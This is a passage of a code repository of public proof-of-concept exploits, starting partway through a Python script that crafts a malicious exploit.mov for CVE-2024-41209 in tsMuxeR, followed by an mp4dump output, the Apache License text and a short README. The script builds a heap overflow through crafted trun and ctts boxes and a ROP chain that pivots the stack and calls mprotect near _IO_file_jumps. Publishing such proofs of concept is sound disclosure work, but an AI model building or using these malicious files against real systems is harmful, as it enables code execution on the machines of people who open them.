49 | trun2 += flat(trun2_entries, map=lambda x: p32(x, 'big'))
50 |
51 | # vectorを作るためのctts
52 | ctts2 = b''
53 | ctts2 += b'\x00' # version
54 | ctts2 += b'\x00\x00\x00' # flags
55 | ctts2 += p32(1, 'big') # entries (resize)
56 | ctts2 += p32(0, 'big') + p32(0, 'big') # count / duration
57 |
58 | # 壊れたvectorに書き込むためのAAW
59 | # 0x007b0861: mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret;
60 | rop_pivot = next(elf.gadget(
61 | "mov esp, ebp; pop rbx; pop rbp; mov rax, r12; pop r12; ret"
62 | ))
63 |
64 | addr_write = elf.symbol("_IO_file_jumps") - 0x20
65 | ctts3_entries = [
66 | [0xdead0000, 0xcafe0000], # rbx / rbp
67 | [0xdead0012, next(elf.gadget('pop rdi; ret'))], # r12
68 | [addr_write & ~0xfff, next(elf.gadget('pop rsi; ret'))],
69 | [0x4000, next(elf.gadget('pop rdx; ret'))],
70 | [0b111, next(elf.gadget('pop rax; ret'))],
71 | [syscall.x64.mprotect, next(elf.gadget('syscall; pop rbp; ret'))],
72 | [rop_pivot, addr_write],
73 | ]
74 | ctts3 = b''
75 | ctts3 += b'\x00' # version
76 | ctts3 += b'\x00\x00\x00' # flags
77 | ctts3 += p32(len(ctts3_entries), 'big') # entries (resize)
78 | ctts3 += flat(ctts3_entries, map=lambda p: p32(p[0], 'big') + p32(p[1], 'big'))
79 |
80 | moov = b''
81 | moov += p32(8 + len(trak), 'big') + b'trak' + trak
82 | moov += p32(8 + len(trex1), 'big') + b'trex' + trex1
83 | moov += p32(8 + len(tfhd1), 'big') + b'tfhd' + tfhd1
84 | moov += p32(8 + len(trun1), 'big') + b'trun' + trun1
85 | moov += p32(8 + len(ctts1), 'big') + b'ctts' + ctts1
86 | moov += p32(8 + len(trak), 'big') + b'trak' + trak # MovStreamContextを確保
87 | moov += p32(8 + len(ctts2), 'big') + b'ctts' + ctts2 # vectorをセット
88 | moov += p32(8 + len(trun2), 'big') + b'trun' + trun2 # heap overflow
89 | moov += p32(8 + len(ctts3), 'big') + b'ctts' + ctts3 # AAW
90 |
91 | payload = b""
92 | payload += p32(8 + len(ftyp), 'big') + b'ftyp' + ftyp
93 | payload += p32(8 + len(moov), 'big') + b"moov" + moov
94 | payload += p32(8, 'big') + b'cmov' # throw
95 |
96 | with open("exploit.mov", "wb") as f:
97 | f.write(payload)
98 |
99 | #sock = Process(["./tsMuxeR", "exploit.mov"])
100 | #sock.sh()
101 |
--------------------------------------------------------------------------------
/CVE-2024-41209/mp4dump_result:
--------------------------------------------------------------------------------
1 | [ftyp] size=8+20
2 | major_brand = iso5
3 | minor_version = 1
4 | compatible_brand = avc1
5 | compatible_brand = dash
6 | compatible_brand = iso5
7 | [free] size=8+50
8 | [moov] size=8+741
9 | [mvhd] size=12+96
10 | timescale = 1000
11 | duration = 0
12 | duration(ms) = 0
13 | [mvex] size=8+48
14 | [mehd] size=12+4
15 | duration = 2000
16 | [trex] size=12+20
17 | track id = 1
18 | default sample description index = 1
19 | default sample duration = 512
20 | default sample size = 0
21 | default sample flags = 10000
22 | [trak] size=8+472
23 | [tkhd] size=12+80, flags=f
24 | enabled = 1
25 | id = 1
26 | duration = 0
27 | width = 320.000000
28 | height = 240.000000
29 | [mdia] size=8+372
30 | [mdhd] size=12+20
31 | timescale = 15360
32 | duration = 0
33 | duration(ms) = 0
34 | language = und
35 | [hdlr] size=12+33
36 | handler_type = vide
37 | handler_name = VideoHandler
38 | [minf] size=8+287
39 | [vmhd] size=12+8, flags=1
40 | graphics_mode = 0
41 | op_color = 0000,0000,0000
42 | [dinf] size=8+28
43 | [dref] size=12+16
44 | [url ] size=12+0, flags=1
45 | location = [local to file]
46 | [stbl] size=8+223
47 | [stsd] size=12+143
48 | entry_count = 0
49 | [ctts] size=12+4
50 | entry_count = 0
51 | [stsc] size=12+4
52 | entry_count = 0
53 | [stsz] size=12+8
54 | sample_size = 0
55 | sample_count = 0
56 | [stco] size=12+4
57 | entry_count = 0
58 | [udta] size=8+89
59 | [meta] size=12+77
60 | [hdlr] size=12+21
61 | handler_type = mdir
62 | handler_name =
63 | [ilst] size=8+36
64 | [.too] size=8+28
65 | [data] size=8+20
66 | type = 1
67 | lang = 0
68 | value = Lavf55.8.100
69 | [sidx] size=12+32
70 | reference_ID = 1
71 | timescale = 15360
72 | earliest_presentation_time = 1024
73 | first_offset = 0
74 | [moof] size=8+160
75 | [mfhd] size=12+4
76 | sequence number = 1
77 | [traf] size=8+136
78 | [tfhd] size=12+4, flags=20000
79 | track ID = 1
80 | [tfdt] size=12+4
81 | base media decode time = 0
82 | [trkn] size=8+96
83 | [mdat] size=8+5147
84 | [sidx] size=12+32
85 | reference_ID = 1
86 | timescale = 15360
87 | earliest_presentation_time = 6144
88 | first_offset = 0
89 | [moof] size=8+160
90 | [mfhd] size=12+4
91 | sequence number = 2
92 | [traf] size=8+136
93 | [tfhd] size=12+4, flags=20000
94 | track ID = 1
95 | [tfdt] size=12+4
96 | base media decode time = 5120
97 | [trun] size=12+92, flags=a05
98 | sample count = 10
99 | data offset = 176
100 | first sample flags = 0
101 | [mdat] size=8+5319
102 | [sidx] size=12+32
103 | reference_ID = 1
104 | timescale = 15360
105 | earliest_presentation_time = 11264
106 | first_offset = 0
107 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Proof-of-Concepts
2 |
3 | This repository bundles Proof-of-Concepts of the exploits that we developed and decided to make public.
4 |
--------------------------------------------------------------------------------